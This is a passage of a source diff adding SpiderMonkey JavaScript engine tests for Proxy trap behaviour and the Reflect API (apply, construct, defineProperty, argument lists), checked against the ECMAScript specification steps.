diff --git a/js/src/tests/ecma_6/Proxy/revoke-as-side-effect.js b/js/src/tests/ecma_6/Proxy/revoke-as-side-effect.js
new file mode 100644
index 000000000..25d4c9bf9
--- /dev/null
+++ b/js/src/tests/ecma_6/Proxy/revoke-as-side-effect.js
@@ -0,0 +1,73 @@
+function createProxy(proxyTarget) {
+ var {proxy, revoke} = Proxy.revocable(proxyTarget, new Proxy({}, {
+ get(target, propertyKey, receiver) {
+ print("trap get:", propertyKey);
+ revoke();
+ }
+ }));
+ return proxy;
+}
+
+var obj;
+
+// [[GetPrototypeOf]]
+assertEq(Object.getPrototypeOf(createProxy({})), Object.prototype);
+assertEq(Object.getPrototypeOf(createProxy([])), Array.prototype);
+
+// [[SetPrototypeOf]]
+obj = {};
+Object.setPrototypeOf(createProxy(obj), Array.prototype);
+assertEq(Object.getPrototypeOf(obj), Array.prototype);
+
+// [[IsExtensible]]
+assertEq(Object.isExtensible(createProxy({})), true);
+assertEq(Object.isExtensible(createProxy(Object.preventExtensions({}))), false);
+
+// [[PreventExtensions]]
+obj = {};
+Object.preventExtensions(createProxy(obj));
+assertEq(Object.isExtensible(obj), false);
+
+// [[GetOwnProperty]]
+assertEq(Object.getOwnPropertyDescriptor(createProxy({}), "a"), undefined);
+assertEq(Object.getOwnPropertyDescriptor(createProxy({a: 5}), "a").value, 5);
+
+// [[DefineOwnProperty]]
+obj = {};
+Object.defineProperty(createProxy(obj), "a", {value: 5});
+assertEq(obj.a, 5);
+
+// [[HasProperty]]
+assertEq("a" in createProxy({}), false);
+assertEq("a" in createProxy({a: 5}), true);
+
+// [[Get]]
+assertEq(createProxy({}).a, undefined);
+assertEq(createProxy({a: 5}).a, 5);
+
+// [[Set]]
+assertThrowsInstanceOf(() => createProxy({}).a = 0, TypeError);
+assertThrowsInstanceOf(() => createProxy({a: 5}).a = 0, TypeError);
+
+// [[Delete]]
+assertEq(delete createProxy({}).a, true);
+assertEq(delete createProxy(Object.defineProperty({}, "a", {configurable: false})).a, false);
+
+// [[OwnPropertyKeys]]
+assertEq(Object.getOwnPropertyNames(createProxy({})).length, 0);
+assertEq(Object.getOwnPropertyNames(createProxy({a: 5})).length, 1);
+
+// [[Call]]
+assertEq(createProxy(function() { return "ok" })(), "ok");
+
+// [[Construct]]
+// This throws because after the "construct" trap on the proxy is consulted,
+// OrdinaryCreateFromConstructor (called because the |q| function's
+// [[ConstructorKind]] is "base" per FunctionAllocate) accesses
+// |new.target.prototype| to create the |this| for the construct operation, that
+// would be returned if |return obj;| didn't override it.
+assertThrowsInstanceOf(() => new (createProxy(function q(){ return obj; })),
+ TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Proxy/setPrototypeOf.js b/js/src/tests/ecma_6/Proxy/setPrototypeOf.js
new file mode 100644
index 000000000..d79c53fd9
--- /dev/null
+++ b/js/src/tests/ecma_6/Proxy/setPrototypeOf.js
@@ -0,0 +1,258 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = "setPrototypeOf.js";
+var BUGNUMBER = 888969;
+var summary = "Scripted proxies' [[SetPrototypeOf]] behavior";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+const log = [];
+
+function observe(obj)
+{
+ var observingHandler = new Proxy({}, {
+ get(target, p, receiver) {
+ log.push(p);
+ return Reflect.get(target, p, receiver);
+ }
+ });
+
+ return new Proxy(obj, observingHandler);
+}
+
+var p, h;
+
+// 1. Assert: Either Type(V) is Object or Type(V) is Null.
+// 2. Let handler be the value of the [[ProxyHandler]] internal slot of O.
+// 3. If handler is null, throw a TypeError exception.
+// 4. Assert: Type(handler) is Object.
+// 5. Let target be the value of the [[ProxyTarget]] internal slot of O.
+
+var rev = Proxy.revocable({}, {});
+p = rev.proxy;
+
+var originalProto = Reflect.getPrototypeOf(p);
+assertEq(originalProto, Object.prototype);
+
+rev.revoke();
+assertThrowsInstanceOf(() => Reflect.setPrototypeOf(p, originalProto),
+ TypeError);
+assertThrowsInstanceOf(() => Reflect.setPrototypeOf(p, null),
+ TypeError);
+
+// 6. Let trap be ? GetMethod(handler, "setPrototypeOf").
+
+// handler has uncallable (and not null/undefined) property
+p = new Proxy({}, { setPrototypeOf: 9 });
+assertThrowsInstanceOf(() => Reflect.setPrototypeOf(p, null),
+ TypeError);
+
+p = new Proxy({}, { setPrototypeOf: -3.7 });
+assertThrowsInstanceOf(() => Reflect.setPrototypeOf(p, null),
+ TypeError);
+
+p = new Proxy({}, { setPrototypeOf: NaN });
+assertThrowsInstanceOf(() => Reflect.setPrototypeOf(p, null),
+ TypeError);
+
+p = new Proxy({}, { setPrototypeOf: Infinity });
+assertThrowsInstanceOf(() => Reflect.setPrototypeOf(p, null),
+ TypeError);
+
+p = new Proxy({}, { setPrototypeOf: true });
+assertThrowsInstanceOf(() => Reflect.setPrototypeOf(p, null),
+ TypeError);
+
+p = new Proxy({}, { setPrototypeOf: /x/ });
+assertThrowsInstanceOf(() => Reflect.setPrototypeOf(p, null),
+ TypeError);
+
+p = new Proxy({}, { setPrototypeOf: Symbol(42) });
+assertThrowsInstanceOf(() => Reflect.setPrototypeOf(p, null),
+ TypeError);
+
+p = new Proxy({}, { setPrototypeOf: class X {} });
+assertThrowsInstanceOf(() => Reflect.setPrototypeOf(p, null),
+ TypeError);
+
+p = new Proxy({}, observe({}));
+
+assertEq(Reflect.setPrototypeOf(p, Object.prototype), true);
+assertEq(log.length, 1);
+assertEq(log[0], "get");
+
+h = observe({ setPrototypeOf() { throw 3.14; } });
+p = new Proxy(Object.create(Object.prototype), h);
+
+// "setting" without change
+log.length = 0;
+assertThrowsValue(() => Reflect.setPrototypeOf(p, Object.prototype),
+ 3.14);
+assertEq(log.length, 1);
+assertEq(log[0], "get");
+
+// "setting" with change
+log.length = 0;
+assertThrowsValue(() => Reflect.setPrototypeOf(p, /foo/),
+ 3.14);
+assertEq(log.length, 1);
+assertEq(log[0], "get");
+
+// 7. If trap is undefined, then
+// a. Return ? target.[[SetPrototypeOf]](V).
+
+var settingProtoThrows =
+ new Proxy({}, { setPrototypeOf() { throw "agnizes"; } });
+
+p = new Proxy(settingProtoThrows, { setPrototypeOf: undefined });
+assertThrowsValue(() => Reflect.setPrototypeOf(p, null),
+ "agnizes");
+
+p = new Proxy(settingProtoThrows, { setPrototypeOf: null });
+assertThrowsValue(() => Reflect.setPrototypeOf(p, null),
+ "agnizes");
+
+var anotherProto =
+ new Proxy({},
+ { setPrototypeOf(t, p) {
+ log.push("reached");
+ return Reflect.setPrototypeOf(t, p);
+ } });
+
+p = new Proxy(anotherProto, { setPrototypeOf: undefined });
+
+log.length = 0;
+assertEq(Reflect.setPrototypeOf(p, null), true);
+assertEq(log.length, 1);
+assertEq(log[0], "reached");
+
+p = new Proxy(anotherProto, { setPrototypeOf: null });
+
+log.length = 0;
+assertEq(Reflect.setPrototypeOf(p, null), true);
+assertEq(log.length, 1);
+assertEq(log[0], "reached");
+
+// 8. Let booleanTrapResult be ToBoolean(? Call(trap, handler, « target, V »)).
+
+// The trap callable might throw.
+p = new Proxy({}, { setPrototypeOf() { throw "ohai"; } });
+
+assertThrowsValue(() => Reflect.setPrototypeOf(p, /x/),
+ "ohai");
+
+var throwingTrap =
+ new Proxy(function() { throw "not called"; },
+ { apply() { throw 37; } });
+
+p = new Proxy({}, { setPrototypeOf: throwingTrap });
+
+assertThrowsValue(() => Reflect.setPrototypeOf(p, Object.prototype),
+ 37);
+
+// The trap callable must *only* be called.
+p = new Proxy({},
+ {
+ setPrototypeOf: observe(function() { throw "boo-urns"; })
+ });
+
+log.length = 0;
+assertThrowsValue(() => Reflect.setPrototypeOf(p, Object.prototype),
+ "boo-urns");
+
+assertEq(log.length, 1);
+assertEq(log[0], "apply");
+
+// 9. If booleanTrapResult is false, return false.
+
+p = new Proxy({}, { setPrototypeOf() { return false; } });
+assertEq(Reflect.setPrototypeOf(p, Object.prototype), false);
+
+p = new Proxy({}, { setPrototypeOf() { return +0; } });
+assertEq(Reflect.setPrototypeOf(p, Object.prototype), false);
+
+p = new Proxy({}, { setPrototypeOf() { return -0; } });
+assertEq(Reflect.setPrototypeOf(p, Object.prototype), false);
+
+p = new Proxy({}, { setPrototypeOf() { return NaN; } });
+assertEq(Reflect.setPrototypeOf(p, Object.prototype), false);
+
+p = new Proxy({}, { setPrototypeOf() { return ""; } });
+assertEq(Reflect.setPrototypeOf(p, Object.prototype), false);
+
+p = new Proxy({}, { setPrototypeOf() { return undefined; } });
+assertEq(Reflect.setPrototypeOf(p, Object.prototype), false);
+
+// 10. Let extensibleTarget be ? IsExtensible(target).
+
+var targetThrowIsExtensible =
+ new Proxy({}, { isExtensible() { throw "psych!"; } });
+
+p = new Proxy(targetThrowIsExtensible, { setPrototypeOf() { return true; } });
+assertThrowsValue(() => Reflect.setPrototypeOf(p, Object.prototype),
+ "psych!");
+
+// 11. If extensibleTarget is true, return true.
+
+var targ = {};
+
+p = new Proxy(targ, { setPrototypeOf() { return true; } });
+assertEq(Reflect.setPrototypeOf(p, /x/), true);
+assertEq(Reflect.getPrototypeOf(targ), Object.prototype);
+assertEq(Reflect.getPrototypeOf(p), Object.prototype);
+
+p = new Proxy(targ, { setPrototypeOf() { return /x/; } });
+assertEq(Reflect.setPrototypeOf(p, /x/), true);
+assertEq(Reflect.getPrototypeOf(targ), Object.prototype);
+assertEq(Reflect.getPrototypeOf(p), Object.prototype);
+
+p = new Proxy(targ, { setPrototypeOf() { return Infinity; } });
+assertEq(Reflect.setPrototypeOf(p, /x/), true);
+assertEq(Reflect.getPrototypeOf(targ), Object.prototype);
+assertEq(Reflect.getPrototypeOf(p), Object.prototype);
+
+p = new Proxy(targ, { setPrototypeOf() { return Symbol(true); } });
+assertEq(Reflect.setPrototypeOf(p, /x/), true);
+assertEq(Reflect.getPrototypeOf(targ), Object.prototype);
+assertEq(Reflect.getPrototypeOf(p), Object.prototype);
+
+// 12. Let targetProto be ? target.[[GetPrototypeOf]]().
+
+var targetNotExtensibleGetProtoThrows =
+ new Proxy(Object.preventExtensions({}),
+ { getPrototypeOf() { throw NaN; } });
+
+p = new Proxy(targetNotExtensibleGetProtoThrows,
+ { setPrototypeOf() { log.push("goober"); return true; } });
+
+log.length = 0;
+assertThrowsValue(() => Reflect.setPrototypeOf(p, /abcd/),
+ NaN);
+
+// 13. If SameValue(V, targetProto) is false, throw a TypeError exception.
+
+var newProto;
+
+p = new Proxy(Object.preventExtensions(Object.create(Math)),
+ { setPrototypeOf(t, p) { return true; } });
+
+assertThrowsInstanceOf(() => Reflect.setPrototypeOf(p, null),
+ TypeError);
+
+// 14. Return true.
+
+assertEq(Reflect.setPrototypeOf(p, Math), true);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_6/Proxy/shell.js b/js/src/tests/ecma_6/Proxy/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_6/Proxy/shell.js
diff --git a/js/src/tests/ecma_6/Proxy/trap-null.js b/js/src/tests/ecma_6/Proxy/trap-null.js
new file mode 100644
index 000000000..703649e7c
--- /dev/null
+++ b/js/src/tests/ecma_6/Proxy/trap-null.js
@@ -0,0 +1,103 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'trap-null.js';
+var BUGNUMBER = 1257102;
+var summary = "null as a trap value on a handler should operate on the target";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// This might seem like overkill, but this proxying trick caught typos of
+// several trap names before this test landed. \o/ /o\
+var allTraps = {
+ getPrototypeOf: null,
+ setPrototypeOf: null,
+ isExtensible: null,
+ preventExtensions: null,
+ getOwnPropertyDescriptor: null,
+ defineProperty: null,
+ has: null,
+ get: null,
+ set: null,
+ deleteProperty: null,
+ ownKeys: null,
+ apply: null,
+ construct: null,
+};
+
+var complainingHandler = new Proxy(allTraps, {
+ get(target, p, receiver) {
+ var v = Reflect.get(target, p, receiver);
+ if (v !== null)
+ throw new TypeError("failed to set one of the traps to null? " + p);
+
+ return v;
+ }
+});
+
+var proxyTarget = function(x) {
+ "use strict";
+ var str = this + x;
+ str += new.target ? "constructing" : "calling";
+ return new.target ? new String(str) : str;
+};
+proxyTarget.prototype.toString = () => "###";
+proxyTarget.prototype.valueOf = () => "@@@";
+
+var proxy = new Proxy(proxyTarget, complainingHandler);
+
+assertEq(Reflect.getPrototypeOf(proxy), Function.prototype);
+
+assertEq(Object.getPrototypeOf(proxyTarget), Function.prototype);
+assertEq(Reflect.setPrototypeOf(proxy, null), true);
+assertEq(Object.getPrototypeOf(proxyTarget), null);
+
+assertEq(Reflect.isExtensible(proxy), true);
+
+assertEq(Reflect.isExtensible(proxyTarget), true);
+assertEq(Reflect.preventExtensions(proxy), true);
+assertEq(Reflect.isExtensible(proxy), false);
+assertEq(Reflect.isExtensible(proxyTarget), false);
+
+var desc = Reflect.getOwnPropertyDescriptor(proxy, "length");
+assertEq(desc.value, 1);
+
+assertEq(desc.configurable, true);
+assertEq(Reflect.defineProperty(proxy, "length", { value: 3, configurable: false }), true);
+desc = Reflect.getOwnPropertyDescriptor(proxy, "length");
+assertEq(desc.configurable, false);
+
+assertEq(Reflect.has(proxy, "length"), true);
+
+assertEq(Reflect.get(proxy, "length"), 3);
+
+assertEq(Reflect.set(proxy, "length", 3), false);
+
+assertEq(Reflect.deleteProperty(proxy, "length"), false);
+
+var keys = Reflect.ownKeys(proxy);
+assertEq(keys.length, 3);
+keys.sort();
+assertEq(keys[0], "length");
+assertEq(keys[1], "name");
+assertEq(keys[2], "prototype");
+
+assertEq(Reflect.apply(proxy, "hi!", [" "]), "hi! calling");
+
+var res = Reflect.construct(proxy, [" - "]);
+assertEq(typeof res, "object");
+assertEq(res instanceof String, true);
+assertEq(res.valueOf(), "@@@ - constructing");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_6/Reflect/apply.js b/js/src/tests/ecma_6/Reflect/apply.js
new file mode 100644
index 000000000..fbd9db2a4
--- /dev/null
+++ b/js/src/tests/ecma_6/Reflect/apply.js
@@ -0,0 +1,130 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Reflect.apply calls functions.
+assertEq(Reflect.apply(Math.floor, undefined, [1.75]), 1);
+
+// Reflect.apply requires a target object that's callable.
+var nonCallable = [{}, [], (class clsX { constructor() {} })];
+for (var value of nonCallable) {
+ assertThrowsInstanceOf(() => Reflect.apply(nonCallable), TypeError);
+}
+
+// When target is not callable, Reflect.apply does not try to get argumentList.length before throwing.
+var hits = 0;
+var bogusArgumentList = {get length() { hit++; throw "FAIL";}};
+assertThrowsInstanceOf(() => Reflect.apply({callable: false}, null, bogusArgumentList),
+ TypeError);
+assertEq(hits, 0);
+
+// Reflect.apply works on a range of different callable objects.
+// Builtin functions (we also tested Math.floor above):
+assertEq(Reflect.apply(String.fromCharCode,
+ undefined,
+ [104, 101, 108, 108, 111]),
+ "hello");
+
+// Builtin methods:
+assertEq(Reflect.apply(RegExp.prototype.exec,
+ /ab/,
+ ["confabulation"]).index,
+ 4);
+
+// Builtin methods of primitive objects:
+assertEq(Reflect.apply("".charAt,
+ "ponies",
+ [3]),
+ "i");
+
+// Bound functions:
+assertEq(Reflect.apply(function () { return this; }.bind(Math),
+ Function,
+ []),
+ Math);
+assertEq(Reflect.apply(Array.prototype.concat.bind([1, 2], [3]),
+ [4, 5],
+ [[6, 7, 8]]).join(),
+ "1,2,3,6,7,8");
+
+// Generator functions:
+function* g(arg) { yield "pass" + arg; }
+assertEq(Reflect.apply(g,
+ undefined,
+ ["word"]).next().value,
+ "password");
+
+// Proxies:
+function f() { return 13; }
+assertEq(Reflect.apply(new Proxy(f, {}),
+ undefined,
+ []),
+ 13);
+
+// Cross-compartment wrappers:
+var gw = newGlobal();
+assertEq(Reflect.apply(gw.parseInt,
+ undefined,
+ ["45"]),
+ 45);
+assertEq(Reflect.apply(gw.Symbol.for,
+ undefined,
+ ["moon"]),
+ Symbol.for("moon"));
+
+gw.eval("function q() { return q; }");
+assertEq(Reflect.apply(gw.q,
+ undefined,
+ []),
+ gw.q);
+
+
+// Exceptions are propagated.
+var nope = new Error("nope");
+function fail() {
+ throw nope;
+}
+assertThrowsValue(() => Reflect.apply(fail, undefined, []),
+ nope);
+
+// Exceptions thrown by cross-compartment wrappers are re-wrapped for the
+// calling compartment.
+var gxw = gw.eval("var x = new Error('x'); x");
+gw.eval("function fail() { throw x; }");
+assertThrowsValue(() => Reflect.apply(gw.fail, undefined, []),
+ gxw);
+
+// The thisArgument is passed to the target function as the 'this' value.
+var obj = {};
+hits = 0;
+assertEq(Reflect.apply(function () { hits++; assertEq(this, obj); },
+ obj,
+ []),
+ undefined);
+assertEq(hits, 1);
+
+// Primitive values can be thisArgument.
+function strictThis() { "use strict"; return this; }
+for (var value of [null, undefined, 0, -0, NaN, Symbol("moon")]) {
+ assertEq(Reflect.apply(strictThis, value, []),
+ value);
+}
+
+// If the target is a non-strict function and thisArgument is a primitive value
+// other than null or undefined, then thisArgument is converted to a wrapper
+// object.
+var testValues = [true, 1e9, "ok", Symbol("ok")];
+function nonStrictThis(expected) {
+ assertEq(typeof this, "object");
+ assertEq(Reflect.apply(Object.prototype.toString, this, []).toLowerCase(), expected);
+ return "ok";
+}
+for (var value of testValues) {
+ assertEq(Reflect.apply(nonStrictThis,
+ value,
+ ["[object " + typeof value + "]"]),
+ "ok");
+}
+
+// For more Reflect.apply tests, see target.js and argumentsList.js.
+
+reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Reflect/argumentsList.js b/js/src/tests/ecma_6/Reflect/argumentsList.js
new file mode 100644
index 000000000..1cd5984f0
--- /dev/null
+++ b/js/src/tests/ecma_6/Reflect/argumentsList.js
@@ -0,0 +1,164 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Tests for the argumentList argument to Reflect.apply and Reflect.construct.
+
+// Reflect.apply and Reflect.construct require an argumentList argument that must be an object.
+assertThrowsInstanceOf(() => Reflect.apply(Math.min, undefined), // missing
+ TypeError);
+assertThrowsInstanceOf(() => Reflect.construct(Object), // missing
+ TypeError);
+for (var primitive of SOME_PRIMITIVE_VALUES) {
+ assertThrowsInstanceOf(() => Reflect.apply(Math.min, undefined, primitive),
+ TypeError);
+ assertThrowsInstanceOf(() => Reflect.construct(Object, primitive),
+ TypeError);
+}
+
+// Array used by several tests below.
+var BOTH = [
+ Reflect.apply,
+ // Adapt Reflect.construct to accept the same arguments as Reflect.apply.
+ (target, thisArgument, argumentList) => Reflect.construct(target, argumentList)
+];
+
+// The argumentList is copied and becomes the list of arguments passed to the function.
+function getRest(...x) { return x; }
+var args = [1, 2, 3];
+for (var method of BOTH) {
+ var result = method(getRest, undefined, args);
+ assertEq(result.join(), args.join());
+ assertEq(result !== args, true);
+}
+
+// argumentList.length can be less than func.length.
+function testLess(a, b, c, d, e) {
+ assertEq(a, 1);
+ assertEq(b, true);
+ assertEq(c, "three");
+ assertEq(d, Symbol.for);
+ assertEq(e, undefined);
+
+ assertEq(arguments.length, 4);
+ assertEq(arguments !== args, true);
+ return "ok";
+}
+args = [1, true, "three", Symbol.for];
+assertEq(Reflect.apply(testLess, undefined, args), "ok");
+assertEq(Reflect.construct(testLess, args) instanceof testLess, true);
+
+// argumentList.length can be more than func.length.
+function testMoar(a) {
+ assertEq(a, args[0]);
+ return "good";
+}
+assertEq(Reflect.apply(testMoar, undefined, args), "good");
+assertEq(Reflect.construct(testMoar, args) instanceof testMoar, true);
+
+// argumentList can be any object with a .length property.
+function getArgs(...args) {
+ return args;
+}
+for (var method of BOTH) {
+ assertDeepEq(method(getArgs, undefined, {length: 0}),
+ []);
+ assertDeepEq(method(getArgs, undefined, {length: 1, "0": "zero"}),
+ ["zero"]);
+ assertDeepEq(method(getArgs, undefined, {length: 2}),
+ [undefined, undefined]);
+ assertDeepEq(method(getArgs, undefined, function (a, b, c) {}),
+ [undefined, undefined, undefined]);
+}
+
+// The Iterable/Iterator interfaces are not used.
+var funnyArgs = {
+ 0: "zero",
+ 1: "one",
+ length: 2,
+ [Symbol.iterator]() { throw "FAIL 1"; },
+ next() { throw "FAIL 2"; }
+};
+for (var method of BOTH) {
+ assertDeepEq(method(getArgs, undefined, funnyArgs),
+ ["zero", "one"]);
+}
+
+// If argumentList has no .length property, no arguments are passed.
+function count() { return {numArgsReceived: arguments.length}; }
+for (var method of BOTH) {
+ assertEq(method(count, undefined, {"0": 0, "1": 1}).numArgsReceived,
+ 0);
+ function* g() { yield 1; yield 2; }
+ assertEq(method(count, undefined, g()).numArgsReceived,
+ 0);
+}
+
+// If argumentsList.length has a getter, it is called.
+var log;
+args = {
+ get length() { log += "L"; return 1; },
+ get "0"() { log += "0"; return "zero"; },
+ get "1"() { log += "1"; return "one"; }
+};
+for (var method of BOTH) {
+ log = "";
+ assertDeepEq(method(getArgs, undefined, args),
+ ["zero"]);
+ assertEq(log, "L0");
+}
+
+// The argumentsList.length getter can throw; the exception is propagated.
+var exc = {status: "bad"};
+args = {
+ get length() { throw exc; }
+};
+for (var method of BOTH) {
+ assertThrowsValue(() => method(count, undefined, args), exc);
+}
+
+// If argumentsList.length is unreasonably huge, we get an error.
+// (This is an implementation limit.)
+for (var method of BOTH) {
+ for (var value of [1e12, 1e240, Infinity]) {
+ assertThrowsInstanceOf(() => method(count, undefined, {length: value}),
+ Error);
+ }
+}
+
+// argumentsList.length is converted to an integer.
+for (var value of [1.7, "1", {valueOf() { return "1"; }}]) {
+ args = {
+ length: value,
+ "0": "ponies"
+ };
+ for (var method of BOTH) {
+ var result = method(getArgs, undefined, args);
+ assertEq(result.length, 1);
+ assertEq(result[0], "ponies");
+ }
+}
+
+// If argumentsList.length is negative or NaN, no arguments are passed.
+for (var method of BOTH) {
+ for (var num of [-1, -0.1, -0, -1e99, -Infinity, NaN]) {
+ assertEq(method(count, undefined, {length: num}).numArgsReceived,
+ 0);
+ }
+}
+
+// Many arguments can be passed.
+var many = 65537;
+var args = {length: many, 0: "zero", [many - 1]: "last"};
+function testMany(...args) {
+ for (var i = 0; i < many; i++) {
+ assertEq(i in args, true);
+ assertEq(args[i], i === 0 ? "zero" : i === many - 1 ? "last" : undefined);
+ }
+ return this;
+}
+assertEq(Reflect.apply(testMany, "pass", args).toString(), "pass");
+assertEq(Reflect.construct(testMany, args) instanceof testMany, true);
+assertEq(Reflect.apply(new Proxy(testMany, {}), "pass", args).toString(), "pass");
+assertEq(Reflect.construct(new Proxy(testMany, {}), args) instanceof testMany, true);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Reflect/browser.js b/js/src/tests/ecma_6/Reflect/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_6/Reflect/browser.js
diff --git a/js/src/tests/ecma_6/Reflect/construct.js b/js/src/tests/ecma_6/Reflect/construct.js
new file mode 100644
index 000000000..7dbb9bfa7
--- /dev/null
+++ b/js/src/tests/ecma_6/Reflect/construct.js
@@ -0,0 +1,107 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Reflect.construct invokes constructors.
+
+assertDeepEq(Reflect.construct(Object, []), {});
+assertDeepEq(Reflect.construct(String, ["hello"]), new String("hello"));
+
+// Constructing Date creates a real Date object.
+var d = Reflect.construct(Date, [1776, 6, 4]);
+assertEq(d instanceof Date, true);
+assertEq(d.getFullYear(), 1776); // non-generic method requires real Date object
+
+// [[Construct]] methods don't necessarily create new objects.
+var obj = {};
+assertEq(Reflect.construct(Object, [obj]), obj);
+
+
+// === Various kinds of constructors
+// We've already seen some builtin constructors.
+//
+// JS functions:
+function f(x) { this.x = x; }
+assertDeepEq(Reflect.construct(f, [3]), new f(3));
+f.prototype = Array.prototype;
+assertDeepEq(Reflect.construct(f, [3]), new f(3));
+
+// Bound functions:
+var bound = f.bind(null, "carrot");
+assertDeepEq(Reflect.construct(bound, []), new bound);
+
+// Classes:
+class Base {
+ constructor(...args) {
+ this.args = args;
+ this.newTarget = new.target;
+ }
+}
+class Derived extends Base {
+ constructor(...args) { super(...args); }
+}
+
+assertDeepEq(Reflect.construct(Base, []), new Base);
+assertDeepEq(Reflect.construct(Derived, [7]), new Derived(7));
+g = Derived.bind(null, "q");
+assertDeepEq(Reflect.construct(g, [8, 9]), new g(8, 9));
+
+// Cross-compartment wrappers:
+var g = newGlobal();
+var local = {here: this};
+g.eval("function F(arg) { this.arg = arg }");
+assertDeepEq(Reflect.construct(g.F, [local]), new g.F(local));
+
+// If first argument to Reflect.construct isn't a constructor, it throws a
+// TypeError.
+var nonConstructors = [
+ {},
+ Reflect.construct, // builtin functions aren't constructors
+ x => x + 1,
+ Math.max.bind(null, 0), // bound non-constructors aren't constructors
+ ((x, y) => x > y).bind(null, 0),
+
+ // A Proxy to a non-constructor function isn't a constructor, even if a
+ // construct handler is present.
+ new Proxy(Reflect.construct, {construct(){}}),
+];
+for (var obj of nonConstructors) {
+ assertThrowsInstanceOf(() => Reflect.construct(obj, []), TypeError);
+ assertThrowsInstanceOf(() => Reflect.construct(obj, [], Object), TypeError);
+}
+
+
+// === new.target tests
+
+// If the newTarget argument to Reflect.construct is missing, the target is used.
+function checkNewTarget() {
+ assertEq(new.target, expected);
+ expected = undefined;
+}
+var expected = checkNewTarget;
+Reflect.construct(checkNewTarget, []);
+
+// The newTarget argument is correctly passed to the constructor.
+var constructors = [Object, Function, f, bound];
+for (var ctor of constructors) {
+ expected = ctor;
+ Reflect.construct(checkNewTarget, [], ctor);
+ assertEq(expected, undefined);
+}
+
+// The newTarget argument must be a constructor.
+for (var v of SOME_PRIMITIVE_VALUES.concat(nonConstructors)) {
+ assertThrowsInstanceOf(() => Reflect.construct(checkNewTarget, [], v), TypeError);
+}
+
+// The builtin Array constructor uses new.target.prototype and always
+// creates a real array object.
+function someConstructor() {}
+var result = Reflect.construct(Array, [], someConstructor);
+assertEq(Reflect.getPrototypeOf(result), someConstructor.prototype);
+assertEq(result.length, 0);
+assertEq(Array.isArray(result), true);
+
+
+// For more Reflect.construct tests, see target.js and argumentsList.js.
+
+reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Reflect/defineProperty.js b/js/src/tests/ecma_6/Reflect/defineProperty.js
new file mode 100644
index 000000000..c3b1e8600
--- /dev/null
+++ b/js/src/tests/ecma_6/Reflect/defineProperty.js
@@ -0,0 +1,164 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Reflect.defineProperty defines properties.
+var obj = {};
+assertEq(Reflect.defineProperty(obj, "x", {value: 7}), true);
+assertEq(obj.x, 7);
+var desc = Reflect.getOwnPropertyDescriptor(obj, "x");
+assertDeepEq(desc, {value: 7,
+ writable: false,
+ enumerable: false,
+ configurable: false});
+
+// Reflect.defineProperty can define a symbol-keyed property.
+var key = Symbol(":o)");
+assertEq(Reflect.defineProperty(obj, key, {value: 8}), true);
+assertEq(obj[key], 8);
+
+// array .length property
+obj = [1, 2, 3, 4, 5];
+assertEq(Reflect.defineProperty(obj, "length", {value: 4}), true);
+assertDeepEq(obj, [1, 2, 3, 4]);
+
+// The target can be a proxy.
+obj = {};
+var proxy = new Proxy(obj, {
+ defineProperty(t, id, desc) {
+ t[id] = 1;
+ return true;
+ }
+});
+assertEq(Reflect.defineProperty(proxy, "prop", {value: 7}), true);
+assertEq(obj.prop, 1);
+assertEq(delete obj.prop, true);
+assertEq("prop" in obj, false);
+
+// The attributes object is re-parsed, not passed through to the
+// handler.defineProperty method.
+obj = {};
+var attributes = {
+ configurable: 17,
+ enumerable: undefined,
+ value: null
+};
+proxy = new Proxy(obj, {
+ defineProperty(t, id, desc) {
+ assertEq(desc !== attributes, true);
+ assertEq(desc.configurable, true);
+ assertEq(desc.enumerable, false);
+ assertEq(desc.value, null);
+ assertEq("writable" in desc, false);
+ return 15; // and the return value here is coerced to boolean
+ }
+});
+assertEq(Reflect.defineProperty(proxy, "prop", attributes), true);
+
+
+// === Failure and error cases
+//
+// Reflect.defineProperty behaves much like Object.defineProperty, which has
+// extremely thorough tests elsewhere, and the implementation is largely
+// shared. Duplicating those tests with Reflect.defineProperty would be a
+// big waste.
+//
+// However, certain failures cause Reflect.defineProperty to return false
+// without throwing a TypeError (unlike Object.defineProperty). So here we test
+// many error cases to check that behavior.
+
+// missing attributes argument
+assertThrowsInstanceOf(() => Reflect.defineProperty(obj, "y"),
+ TypeError);
+
+// non-object attributes argument
+for (var attributes of SOME_PRIMITIVE_VALUES) {
+ assertThrowsInstanceOf(() => Reflect.defineProperty(obj, "y", attributes),
+ TypeError);
+}
+
+// inextensible object
+obj = Object.preventExtensions({});
+assertEq(Reflect.defineProperty(obj, "prop", {value: 4}), false);
+
+// inextensible object with irrelevant inherited property
+obj = Object.preventExtensions(Object.create({"prop": 3}));
+assertEq(Reflect.defineProperty(obj, "prop", {value: 4}), false);
+
+// redefine nonconfigurable to configurable
+obj = Object.freeze({prop: 1});
+assertEq(Reflect.defineProperty(obj, "prop", {configurable: true}), false);
+
+// redefine enumerability of nonconfigurable property
+obj = Object.freeze(Object.defineProperties({}, {
+ x: {enumerable: true, configurable: false, value: 0},
+ y: {enumerable: false, configurable: false, value: 0},
+}));
